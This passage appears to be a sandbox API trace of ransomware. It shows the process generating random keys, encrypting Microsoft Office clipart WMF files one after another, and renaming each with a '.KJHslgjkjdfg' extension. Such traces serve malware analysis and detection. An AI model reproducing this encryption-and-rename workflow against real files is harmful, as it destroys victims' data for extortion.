lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0218.581] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.581] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.581] GetProcessHeap () returned 0x2ef0000 [0218.581] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.581] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.581] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.581] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.581] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.581] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.581] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.581] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.581] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.582] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.582] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.582] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.582] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb1a4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xb1a4, lpOverlapped=0x0) returned 1 [0218.583] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb1b0, dwBufLen=0xb1b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb1b0) returned 1 [0218.584] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.584] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb1b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xb1b0, lpOverlapped=0x0) returned 1 [0218.584] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.584] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb284, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.584] SetEndOfFile (hFile=0x130) returned 1 [0218.587] GetProcessHeap () returned 0x2ef0000 [0218.587] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.587] GetProcessHeap () returned 0x2ef0000 [0218.587] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.587] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf.kjhslgjkjdfg")) returned 1 [0218.589] CloseHandle (hObject=0x130) returned 1 [0218.589] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfefd5700, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfefd5700, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x9e2c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00737_.WMF", cAlternateFileName="")) returned 1 [0218.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.591] GetProcessHeap () returned 0x2ef0000 [0218.591] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.591] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.591] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.591] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.593] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.593] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.593] GetProcessHeap () returned 0x2ef0000 [0218.593] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.593] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.594] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.594] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.594] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.594] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.594] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.594] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.594] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.594] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.594] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.594] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.594] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9e2c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x9e2c, lpOverlapped=0x0) returned 1 [0218.595] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9e30, dwBufLen=0x9e30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9e30) returned 1 [0218.596] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.596] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9e30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x9e30, lpOverlapped=0x0) returned 1 [0218.596] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.596] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9f04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.596] SetEndOfFile (hFile=0x130) returned 1 [0218.599] GetProcessHeap () returned 0x2ef0000 [0218.599] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.599] GetProcessHeap () returned 0x2ef0000 [0218.599] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.599] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf.kjhslgjkjdfg")) returned 1 [0218.600] CloseHandle (hObject=0x130) returned 1 [0218.600] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe289fc00, ftCreationTime.dwHighDateTime=0x1bd4ae2, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe289fc00, ftLastWriteTime.dwHighDateTime=0x1bd4ae2, nFileSizeHigh=0x0, nFileSizeLow=0x1ca0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00833_.WMF", cAlternateFileName="")) returned 1 [0218.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.602] GetProcessHeap () returned 0x2ef0000 [0218.602] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.602] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.602] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.602] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.602] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.602] GetProcessHeap () returned 0x2ef0000 [0218.602] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.602] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.602] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.602] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.604] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.604] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.605] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.605] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.605] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.605] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.605] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.605] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.605] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1ca0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1ca0, lpOverlapped=0x0) returned 1 [0218.606] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ca0, dwBufLen=0x1ca0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ca0) returned 1 [0218.606] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.606] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1ca0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1ca0, lpOverlapped=0x0) returned 1 [0218.606] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.606] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1d74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.606] SetEndOfFile (hFile=0x130) returned 1 [0218.609] GetProcessHeap () returned 0x2ef0000 [0218.609] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.609] GetProcessHeap () returned 0x2ef0000 [0218.609] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.609] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf.kjhslgjkjdfg")) returned 1 [0218.610] CloseHandle (hObject=0x130) returned 1 [0218.611] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870c3e00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x870c3e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1908, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00898_.WMF", cAlternateFileName="")) returned 1 [0218.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.613] GetProcessHeap () returned 0x2ef0000 [0218.613] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.613] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.613] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.613] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.615] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.615] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.615] GetProcessHeap () returned 0x2ef0000 [0218.615] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.615] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.615] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.615] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.615] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.615] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.615] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.615] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.616] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.616] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.616] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.616] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1908, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1908, lpOverlapped=0x0) returned 1 [0218.617] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1910, dwBufLen=0x1910 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1910) returned 1 [0218.617] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.617] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1910, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1910, lpOverlapped=0x0) returned 1 [0218.617] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.617] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x19e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.617] SetEndOfFile (hFile=0x130) returned 1 [0218.619] GetProcessHeap () returned 0x2ef0000 [0218.619] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.619] GetProcessHeap () returned 0x2ef0000 [0218.619] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.619] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf.kjhslgjkjdfg")) returned 1 [0218.621] CloseHandle (hObject=0x130) returned 1 [0218.621] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bb8f800, ftCreationTime.dwHighDateTime=0x1bd4b1c, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9bb8f800, ftLastWriteTime.dwHighDateTime=0x1bd4b1c, nFileSizeHigh=0x0, nFileSizeLow=0x3100, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00934_.WMF", cAlternateFileName="")) returned 1 [0218.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.622] GetProcessHeap () returned 0x2ef0000 [0218.622] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.622] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.622] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.623] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.623] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.623] GetProcessHeap () returned 0x2ef0000 [0218.623] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.623] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.623] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.623] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.625] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 